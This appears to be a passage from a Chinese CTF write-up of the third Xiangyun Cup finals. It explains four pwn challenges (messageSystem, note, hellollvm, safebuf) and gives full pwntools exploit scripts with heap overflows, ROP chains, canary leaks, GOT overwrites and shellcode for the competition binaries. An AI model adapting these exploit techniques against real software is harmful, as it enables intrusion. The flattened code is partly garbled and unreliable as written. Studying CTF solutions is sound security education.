经过上图,发送个线程0id9,选项为2的数据包会:主线程->线程0->线程1->线程2->线程3->线程4->线程5->线程6->线程7->线程8->线程9然后进入线程中选项二copy栈中数据重新倒着走一遍线程9->线程8->线程7->线程6->线程5->线程4->线程3->线程2->线程1->线程0->主线程这样就可以绕过v15<=7这个限制了之后就是栈上数据泄露和栈上数据覆盖的操作了。

EXP

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./messageSystem'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''    b *$rebase(0x2D11)    b *$rebase(0x2AF4)    '''    # gdb_text='''    #   b *$rebase(0x4A42)    #   b *$rebase(0x2AA2)    #   b *$rebase(0x2C0C)    #   b *$rebase(0x2809)    #   b *$rebase(0x33A5)    #   b *$rebase(0x2559)    #   b *$rebase(0x352B)    #   '''    if len(sys.argv)==1 :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=process(elfelf)      gdb_open=1      # io=process(['./'],env={'LD_PRELOAD':'./'})      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    else :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=remote('172.16.9.5',9096)      gdb_open=0      clibc.srand(clibc.time(0))      libc=ELF('./libc-2.31.so')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    def gdb_attach(io,a):      if gdb_open==1 :        gdb.attach(io,a)    def choice(a):      io.sendlineafter('>> ',str(a))    def add(a,b,c):      choice(1)      io.sendlineafter('addressID: ',str(a))      io.sendlineafter('nodeName: ',b)      io.sendlineafter('nodeMessage: ',c)    def link(a,b,c,d):      choice(3)      io.sendlineafter('addressID1: ',str(a))      io.sendlineafter('addressID1: ',str(b))      io.sendlineafter('addressID2: ',str(c))      io.sendlineafter('addressID2: ',str(d))    def gift(idx,pay):      choice(10)      io.sendlineafter('addressID: ',str(idx))      io.sendlineafter('size: ',str(len(pay)))      io.sendafter('data: ',pay)    def show_idx(id,index):      pay=p32(2)+p32(index)      gift(id,pay)    def edit_idx(id,index,data):      pay=p32(1)+p32(index)+p32(0x20)+data      gift(id,pay)    for i in range(0xf):      add(i,'keer','aaaa')    for i in range(0x9):      link(i,9,i+1,0)    show_idx(9,0xffffffff)    io.recvuntil('ret: ')    io.recv(0x18)    leak=u64(io.recvuntil('x7f')[-6:]+'x00x00')    off_addr=0x225b0+0x22000    # off_addr=0x225b0+0x22000    libc_base=(leak-off_addr-0x30)    libc.address=libc_base    bin_sh_addr=libc.search('/bin/shx00').next()    system_addr=libc.sym['system']    free_hook_addr=libc.sym['__free_hook']    pop_rax_ret=libc.search(asm('pop rax;ret')).next()    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()    syscall_ret=libc.search(asm('syscall;ret')).next()    index=0x100000000-(0x320//0x20)    pay=p64(0)+p64(libc.sym['memcpy'])+p64(pop_rdi_ret)    pay+=p64(bin_sh_addr)+p64(system_addr)    edit_idx(9,index,pay)    success('libc_base:'+hex(libc_base))    success('heap_base:'+hex(heap_base))    gdb_attach(io,gdb_text)    io.interactive()  # except Exception as e:  #   io.close()  #   continue  # else:  #   continue

总结

题目利用不难,在于理解

4

note

程序有沙箱只能orw

这是个简单题

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

简单逆向过掉登录

   def login():      choice(1)      io.recvuntil('challenge: ')      data=io.recvuntil('n')      key=[]      c=''      sum1=0      for i in range(15):        aaa=int(data[i*2:i*2+2],16)        c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0')        sum1+=aaa^i^0x11      c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0')      print c      io.sendlineafter('response: ',c)

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

漏洞在add的取随机数膜这里取完随机数后只取了2字节去%0x20

这里膜完可能会是负数,然后malloc之后read的时候size是v3+1,这里可以造成堆溢出,都堆溢出了后续就不多说了看脚本就完事了。

exp

#coding:utf-8import sysfrom pwn import *from ctypes import CDLLcontext.log_level='debug'elfelf='./note'#context.arch='amd64'libc_base=0heap_base=0while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      '''    if len(sys.argv)==1 :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=process(elfelf)      gdb_open=1      # io=process(['./'],env={'LD_PRELOAD':'./'})      clibc.srand(clibc.time(0))      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    else :      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      io=remote('172.20.2.1',9007)      gdb_open=0      clibc.srand(clibc.time(0))      libc=ELF('./libc-2.31.so')      # ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    def gdb_attach(io,a):      if gdb_open==1 :        gdb.attach(io,a)        sleep(0.5)    def choice(a):      io.sendlineafter('>> ',str(a))    def add(a,b,c):      choice(2)      io.sendlineafter('safe -> 1): ',str(c))      io.sendlineafter('size: ',str(a))      io.sendafter('content: ',b)    def show(a):      choice(3)      io.sendlineafter('index: ',str(a))    def delete(a):      choice(4)      io.sendlineafter('index: ',str(a))    def login():      choice(1)      io.recvuntil('challenge: ')      data=io.recvuntil('n')      key=[]      c=''      sum1=0      for i in range(15):        aaa=int(data[i*2:i*2+2],16)        c+=(hex(aaa^i^0x11)[2:]).ljust(2,'0')        sum1+=aaa^i^0x11      c+=(hex(0x100-(sum1%0x100))[2:]).rjust(2,'0')      print c      io.sendlineafter('response: ',c)    login()    add(0x4e0,'a'*0x10,0)    add(0x4e0,'a'*0x10,0)    data=''    for i in range(0x100):      delete(0)      add(0x4f2,'a'*0x4f0,1)      show(0)      io.recvuntil('content: ')      data=io.recvuntil('n-----------menu',drop=True)      if len(data) >0x4f0 :        break    key=[]    for i in range(0x10):      key.append(ord('a')^ord(data[0x4f0+i:0x4f1+i]))    add(0xe0,'a'*0x10,0)    add(0x4e0,'a'*0x10,0)    add(0xe0,'a'*0x10,0)    add(0x80,'a'*0x10,0)    add(0xe0,'a'*0x10,0)    add(0x180,'a'*0x10,0)    add(0xe0,'a'*0x10,0)    add(0x80,'a'*0x10,0)    add(0x80,'a'*0x10,0)    add(0x180,'a'*0x10,0)    add(0x80,'a'*0x10,0)    delete(3)    add(0x4e0,'a'*8,0)    show(3)    leak=u64(io.recvuntil('x7f')[-6:]+'x00x00')    libc_base=((leak-libc.sym['_IO_2_1_stdin_'])>>12)<<12    libc.address=libc_base    bin_sh_addr=libc.search('/bin/shx00').next()    system_addr=libc.sym['system']    free_hook_addr=libc.sym['__free_hook']    pop_rax_ret=libc.search(asm('pop rax;ret')).next()    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()    pop_rdx_ret=libc.search(asm('pop rdx;pop rbx;ret')).next()    syscall_ret=libc.search(asm('syscall;ret')).next()    def encode(a):      j=0      c=''      while j<len(a):        for i in range(0x10):          c+=chr(ord(a[j:j+1])^key[i])          j+=1          if j>=len(a):            break      return c    delete(12)    delete(5)    for i in range(0x20):      delete(4)      add(0xf8,encode('a'*0xe8+p64(0x91)+p64(libc.sym['environ']-0x10)),1)    add(0x80,'a'*0x10,0)    add(0x80,'a'*0x10,0)    show(12)    io.recvuntil('a'*0x10)    stack_addr=u64(io.recv(6)+'x00x00')-0x108    delete(11)    delete(7)    for i in range(0x20):      delete(6)      add(0xf8,encode('a'*0xe8+p64(0x191)+p64(stack_addr)),1)    pay='./flagx00x00'    pay+=p64(pop_rdi_ret)+p64(stack_addr)    pay+=p64(pop_rsi_ret)+p64(0)    pay+=p64(pop_rax_ret)+p64(2)    pay+=p64(syscall_ret)    pay+=p64(pop_rax_ret)+p64(0)    pay+=p64(pop_rdi_ret)+p64(3)    pay+=p64(pop_rdx_ret)+p64(0x30)*2    pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300)    pay+=p64(syscall_ret)    pay+=p64(pop_rax_ret)+p64(1)    pay+=p64(pop_rdi_ret)+p64(1)    pay+=p64(pop_rsi_ret)+p64(stack_addr-0x300)    pay+=p64(syscall_ret)    add(0x180,'aaaa',0)    add(0x180,encode(pay),0)    success('libc_base:'+hex(libc_base))    success('heap_base:'+hex(heap_base))    success('stack_addr:'+hex(stack_addr))    gdb_attach(io,gdb_text)    io.interactive()  # except Exception as e:  #   io.close()  #   continue  # else:  #   continue

5

hellollvm

简单的llvm pass ,

这个是属于入门级别的llvm pas

关于llvm pass的文章已经有很多了

相关知识点如下:(私人笔记)

clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
  1. getName()函数用于获取当前runOnFunction正处理的函数名。

  2. getOpcodeName()函数用于获取指令的操作符的名称,getNumOperands()用于获取指令的操作数的个数,getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def文件中有对应表,可以看到,56号对应着Call这个操作符:

HANDLE_OTHER_INST(56, Call   , CallInst   )  // Call a function
  1. 当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用B,getCalledFunction()函数就是用于获取此处B函数的名称。

  2. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()即get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数。

  3. 再看到最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于call和invoke操作符,操作数的数量是实际参数的个数+1(因为将被调用者也当成了操作数)。

  4. if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt)。

  5. static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称。

clang -emit-llvm -S test.c -o test.ll
opt -load ./LLVMHello.so -Hello test.ll

逆向分析so模块

一般来说,CTF题也都像上面的示例程序一样,重写了FunctionPass类中的runOnFunction函数,那么拿到一个so模块,该如何定位到重写的runOnFunction函数呢?

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkanGAVeXgvgYbCmyXic81bn8o6GOAqXQSW9iaPFIp2jJa9q2IMU6Ov1pw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

如上图,用IDA对so模块逆向分析,在IDA中搜索vtable,定位到虚表后,虚表最后的一项sub_C880就是重写的runOnFunction函数,漏洞点一般就在其中。

至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkeLa41TsoH54Jv5LNeXTQnLfXqNibGGKGj8VgTlqRibmy2fXVl8gcAYOg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

例如,上图中圈出的字符串就是此so模块注册的PASS名称,不同的so模块这里显示的可能会略有不同,但都能看出PASS名称。

当然,由于LLVM是C++所写,读者在做LLVM的题之前,也应当对C++程序的逆向分析有所了解。

gdb调试方法

接下来介绍一下如何用gdb调试LLVM的题。

首先用gdb调试opt并用set args设置参数传入,然后在main函数下断点再跑起来即可:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkBuWiaXe7fpNTdelicECPZ6gbib271QyP3V6ocx4Ikf44ByBCF5yEo02gA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

不过,opt并不会一开始就将so模块加载进来,而是在下图所示的call指令(在call了一堆llvm初始化相关函数后的第一个call)执行完之后,才会加载so模块:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkWUOHulhWWdUMqFqtWSOtpZUw3w9cqQh8alaCorJBTnGLs39KMTOKTA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

下图圈出来的就是so模块的基地址(高版本opt会显示在内存分布表的下方),直接用这个基地址加上对应偏移就可以得到so模块中的汇编指令地址了,也就能下断点了。

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYk6sr0e7tImS8WtoIdg6SRlpcpA2BXprw2VwW5UiaqkicDOIld2NoHTNpQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

值得一提的是,opt是通过下面几张图展示的这条调用链来执行重写的runOnFunction函数的:

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkd8gFjaz7HiaBjjKcnn9OPFF2YibBDLCxxOiah6SnKCQiahprAx8h5wEGEA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkq5kiavtYGAnp3Kh6Aic7cxFvosVNwMtKq1fpictw5LAMuib4sXYwWVIicsg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkaqvSeumicHlatcV939YTA7tOUmw0aVnTEYj6AgynjZ27u0WTjIsKPEw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8ElDibOGLWykfuO3X9uJeGYkkKW1w7q0iaTxhibV60a4ibLCaqAJbKHapgzZUcakAPnL2P0RR8b9KB2XQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1

开始分析

其实也就没啥分析的了,通过上述方法找到runOnFunction函数之后

发现是用call函数实现了菜单堆,具体如下:

void Add(int a){  return ;}void Del(int a){  return ;}void Edit(int a,int idx,int value){  return ;}void Alloc(){  return ;}void EditAlloc(){  return ;}

alloc是申请地址为0x10000长度为0x1000 权限为rwx 的一段虚拟内存。

edit函数是索引 chunk id 为a的堆块,对4字节为单位进行idx索引,写值为value

idx没有大小限制,这里可以造成任意地址写

因此我们可以实现uaf去申请0x10000地址然后去填充内容

再通过0x10000地址为基础去索引没有开pie 的opt程序的got表进行填写free的got表地址

修改值为0x10000就可以触发我们的shellcode了。

直接上代码

EXP

//b *(0x7fc2b50b6000+0x86F5)#include <stdio.h>void Add(int a){  return ;}void Del(int a){  return ;}void Edit(int a,int idx,int value){  return ;}void Alloc(){  return ;}void EditAlloc(){  return ;}int main(){  Add(0xf0);  Add(0xf0);  Add(0xf0);  Del(2);  Del(1);  Alloc();  Edit(0,0x100/4,0x10000);  Add(0xf0);  Add(0xf0);  Edit(2,0,1220555080);  Edit(2,1,1213658673);  Edit(2,2,1768042431);  Edit(2,3,1932472174);  Edit(2,4,1599362920);  Edit(2,5,261700528);  Edit(2,6,5);  Edit(2,(0x78B108-0x10000)/4,0x10000);  Edit(2,((0x78B108-0x10000)/4)+1,0);  EditAlloc();  return 0;}

6

safebuf

首先是因为少./libprotobuf.so.32库问主办方要了一下这个库

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

parsefromarray解析找到结构体,并且找到相应的处理函数

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

味对了

我们先去导出proto文件

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

export出来之后保存成文件然后通过github上大师傅们写好的项目进行转换

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

直接生成proto文件

然后通过protoc转化成我们能用的py

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

具体分析就是上面函数去处理输入的数据

漏洞在处理TwoArgs这个结构时

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

函数是sub_71E2

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

在处理TwoArgs里面的三个数据时都放入同一个地址里面了,解析idx时只赋值一个字节,解析size时全部覆盖,解析content时,赋值为protobuf str的结构体指针。

利用流程如下

首先地址值覆盖为堆中能泄露敏感数据且符合protobuf str结构体类型的地址指针然后GoogleMessage的idx设置为5去进行泄露。

然后泄露出libc 和 heap地址之后,再通过设置

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

这三个去组成一个伪造的str结构体类型 指针+size 布置为  fs段的canary存放位置,设置TwoArgs的idx为ThreeArgs我们伪造结构体的地址。通过选项5泄露出canary之后就可以通过选项4栈溢出构造rop去进行利用了。

EXP

#coding:utf-8import sysimport osfrom pwn import *from ctypes import CDLLfrom a_pb2 import *context.log_level='debug'elfelf='./pwn'libc_base=0heap_base=0#context.arch='amd64'while True :  # try :    elf=ELF(elfelf)    context.arch=elf.arch    gdb_text='''      b *$rebase(0x71E2)      b *$rebase(0x7234)      b *$rebase(0x7CA6)      b *$rebase(0x50A7)      '''    if len(sys.argv)==1 :      # io=process(['./'],env={'LD_PRELOAD':'./'})      io=process(elfelf)      # clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      # clibc.srand(clibc.time(0))      gdb_open=1      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    else :      io=remote('172.20.2.1',9008)      # clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')      # clibc.srand(clibc.time(0))      gdb_open=0      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]    def gdb_attach(io,a):      if gdb_open==1 :        gdb.attach(io,a)        sleep(1)    def choice(id,b,c):      a=GoogleMessage()      a.arg1=id      a.arg2.content=b'a'*0x40      a.arg3.content=b      a.arg3.idx=c      pay=a.SerializeToString()      return pay    def choice1(id,b,c):      a=GoogleMessage()      a.arg1=id      a.arg3.content=b'./flag'      a.arg3.size=c      # a.arg3.idx=c      a.arg4.idx=b&0xffffffff      a.arg4.content=b'c'      a.arg4.size=b>>32      a.arg4.seek=0x80      pay=a.SerializeToString()      return pay    pay=choice(5,b'a'*0x40,0xaa)    0x2de8    io.sendlineafter(b'$ ',pay)    io.sendline(b'32')    io.recvuntil(b'a'*0x40)    io.recv(6)    heap_base=u64(io.recv(8))    io.recv(0x90)    libc_base=u64(io.recv(8))-libc.sym['_IO_2_1_stdin_']    libc_base=libc_base&0xfffffffffffff000    libc.address=libc_base    bin_sh_addr=next(libc.search(b'/bin/shx00'))    system_addr=libc.sym['system']    free_hook_addr=libc.sym['__free_hook']    pop_rax_ret=next(libc.search(asm('pop rax;ret')))    pop_rdi_ret=next(libc.search(asm('pop rdi;ret')))    pop_rsi_ret=next(libc.search(asm('pop rsi;ret')))    pop_rdx_ret=next(libc.search(asm('pop rdx;pop rbx;ret')))    syscall_ret=next(libc.search(asm('syscall;ret')))    pay=choice1(5,libc_base-0x109000+0x2de8,heap_base-0xa308)    io.sendlineafter(b'$ ',pay)    io.sendline(b'32')    io.recvuntil('n5')    canary=io.recv(8)    flag_name_addr=heap_base-0x8ac0    pay=choice1(4,libc_base-0x109000+0x2de8,heap_base-0xa308)    io.sendlineafter(b'$ ',pay)    pay1=b'a'*0x1c+canary+p64(0)    pay1+=p64(pop_rdi_ret)+p64(flag_name_addr)    pay1+=p64(pop_rsi_ret)+p64(0)    pay1+=p64(pop_rdx_ret)+p64(0x30)*2    pay1+=p64(pop_rax_ret)+p64(2)    pay1+=p64(syscall_ret)    pay1+=p64(pop_rax_ret)+p64(0)    pay1+=p64(pop_rdi_ret)+p64(3)    pay1+=p64(pop_rsi_ret)+p64(heap_base)    pay1+=p64(syscall_ret)    pay1+=p64(pop_rax_ret)+p64(1)    pay1+=p64(pop_rdi_ret)+p64(1)    pay1+=p64(pop_rsi_ret)+p64(heap_base)    pay1+=p64(syscall_ret)    gdb_attach(io,gdb_text)    io.sendline(pay1)    success('libc_base:'+hex(libc_base))    success('heap_base:'+hex(heap_base))    io.interactive()  # except Exception as e:  #   io.close()  #   continue  # else:  #   continue

EDI安全

第三届祥云杯网络安全大赛决赛-WriteUp By EDISEC

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日01:42:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第三届祥云杯网络安全大赛决赛-WriteUp By EDISEChttps://cn-sec.com/archives/2033099.html

发表评论

匿名网友 填写信息